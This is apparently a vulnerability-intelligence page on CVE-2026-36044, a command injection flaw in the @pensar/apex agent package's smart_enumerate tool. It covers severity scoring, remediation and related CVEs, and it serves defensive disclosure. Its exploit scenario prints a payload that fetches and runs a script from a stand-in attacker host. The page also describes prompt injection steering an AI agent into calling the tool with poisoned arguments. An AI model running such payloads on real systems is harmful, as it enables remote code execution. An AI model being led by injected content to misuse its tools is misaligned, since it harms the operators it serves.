Skip to main content

@pensar/apex CVE-2026-36044

HIGH
OS Command Injection (CWE-78)
2026-05-27 cve@mitre.org
8.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft url/extensions with shell metacharacters
  2. Delivery
    Deliver via agent input or prompt injection
  3. Exploit
    smart_enumerate concatenates into command
  4. Execution
    exec() spawns shell and interprets payload
  5. Impact
    Arbitrary OS commands run as agent process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The smart_enumerate tool must be invoked, and at least one of its url parameter or extensions array values must carry attacker-controlled content containing shell metacharacters (e.g., ;, |, &&, $(), backticks), which createSmartEnumerateTool() concatenates into a string handed to child_process.exec(). Per CVSS PR:N the attacker needs no authentication, but UI:R means exploitation is not fully autonomous: an operator (or the agent itself, via injected/untrusted data) must trigger smart_enumerate with the malicious input - so it is not exploitable unless that tool is actually exercised against attacker-influenced url/extensions values. Limiting factors that reduce realistic risk: the required interaction, the dependency on untrusted input reaching those specific parameters, and the impact being bounded by the privileges of the running agent process; deployments that only ever feed the tool trusted, validated input are not exposed.

Impact

Multiple signals point to genuine priority but with one important brake. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, base 8.8) indicates a network-reachable, low-complexity bug needing no privileges and yielding full confidentiality, integrity, and availability loss - consistent with arbitrary command execution. The limiting factor is UI:R: exploitation requires interaction, meaning the smart_enumerate tool must actually be invoked with attacker-influenced url/extensions values (e.g., an operator running the agent against attacker-controlled input, or indirect/prompt-injected data steering the agent). No EPSS score is present in the input, so widespread automated-exploitation probability cannot be quantified; no SSVC decision data (exploitation/automatable/technical impact) was supplied either. The CVE is not listed in CISA KEV in the provided data, so there is no confirmation of active exploitation. A security-researcher gist is referenced and likely contains technical/PoC detail, but the structured input does not flag confirmed public exploit code. Net: a real high-severity RCE worth prompt patching, tempered by the requirement that the vulnerable tool be exercised with untrusted input.

Exploit ScenarioDerived

An attacker supplies a crafted url value such as "http://x/$(curl attacker.tld/x|sh)" or an extensions entry containing ";id;" that reaches the smart_enumerate tool - for example by hosting content an operator points the agent at, or via indirect prompt injection that steers the agent into calling the tool with poisoned arguments. When createSmartEnumerateTool() builds the command and exec() spawns a shell, the metacharacters are interpreted and the injected command runs with the agent process's privileges. The referenced researcher gist likely demonstrates this, though confirmed weaponized exploit code is not established in the structured data.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 27, 2026

OS command injection in the @pensar/apex Node.js agent package (versions 0.0.58 and earlier) lets a remote, unauthenticated attacker run arbitrary operating-system commands by smuggling shell metacharacters into the smart_enumerate tool's url or extensions inputs. The vulnerable createSmartEnumerateTool() routine in src/core/agent/tools.ts builds a shell command string by concatenating those untrusted values and passes it to Node.js child_process.exec(), which spawns a shell that interprets the injected characters, executing them with the privileges of the agent process. CVSS is 8.8 (network vector, low complexity, no privileges, but user/agent interaction required); the source data shows no CISA KEV listing and no EPSS score, and a referenced researcher gist may contain proof-of-concept detail though exploit code is not confirmed in the structured input.

RemediationAI

No vendor-released patch version was identified in the available data, so the primary action is to check https://www.npmjs.com/package/@pensar/apex for a release later than 0.0.58 and upgrade to it once published, since 0.0.58 and all earlier versions are vulnerable; do not assume a specific fixed version, as none is confirmed in the input. Until a fixed release is confirmed, do not pass untrusted or externally sourced values into the smart_enumerate tool's url or extensions parameters, and avoid running the agent against attacker-controllable input. The durable code-level fix (for maintainers) is to replace child_process.exec() with child_process.execFile() or spawn() using an argument array so values are never parsed by a shell; as a compensating control for operators, run the agent under a least-privilege account inside a sandbox or container with restricted filesystem and outbound network egress, accepting the trade-off that egress restrictions may break legitimate enumeration functionality that relies on outbound requests. Technical context for these steps is documented in the referenced gist at https://gist.github.com/NucleiAv/47e87da08b90ef464fd9b35affe578fb.

Affected ProductsAI

The affected product is the @pensar/apex npm package at versions 0.0.58 and earlier (<= 0.0.58), with the defect located in createSmartEnumerateTool() within src/core/agent/tools.ts. No CPE string was provided in the intelligence to pin an exact platform identifier. The package and its release history can be reviewed on npm at https://www.npmjs.com/package/@pensar/apex, and additional technical detail is referenced in a researcher gist at https://gist.github.com/NucleiAv/47e87da08b90ef464fd9b35affe578fb; no dedicated vendor security advisory URL was included in the source data.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is a classic OS command injection (CWE-78, inferred since the CVE lists CWE as N/A) rooted in unsafe use of Node.js's child_process.exec(). Unlike execFile() or spawn() with an argument array, exec() runs its input through /bin/sh (or cmd.exe on Windows), so any shell metacharacter - ;, |, &&, $(), backticks - in the command string is interpreted rather than treated as literal data. Here, the smart_enumerate tool concatenates caller-supplied values from the extensions array and the url parameter directly into that command string with no escaping, quoting, or allow-list validation, making the shell parse attacker content as commands. @pensar/apex appears to be an AI/agent-style enumeration tool distributed via npm; no CPE strings were provided in the intelligence, so exact platform identifiers cannot be derived beyond the npm package coordinate @pensar/apex.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

@pensar/apex <= 0.0.58 is vulnerable to OS command injection via the smart_enumerate tool. The createSmartEnumerateTool() function in src/core/agent/tools.ts constructs a shell command by concatenating unsanitized values from the extensions array and url parameter into a string passed to Node.js child_process.exec(). Because exec() spawns a shell, shell metacharacters in those values are interpreted by the host shell, resulting in arbitrary OS command execution with the privileges of the running process.

Executive ViewAI

Why It Matters

The @pensar/apex Node.js agent package (versions 0.0.58 and earlier) contains an unauthenticated OS command injection vulnerability in the smart_enumerate tool that allows remote attackers to execute arbitrary commands with agent process privileges. No public exploit has been identified at time of analysis, but the vulnerability enables complete system compromise. Organizations running this package must immediately assess exposure and implement remediation, as no vendor-released patch is currently available.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: implement network segmentation to restrict access to the agent endpoints from untrusted sources, disable or remove the smart_enumerate tool if not operationally required, enforce strict input validation on URL and extension parameters before processing, deploy Web Application Firewall or network-level rules to block shell metacharacter payloads, and establish monitoring and alerting on agent process execution for suspicious command patterns.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy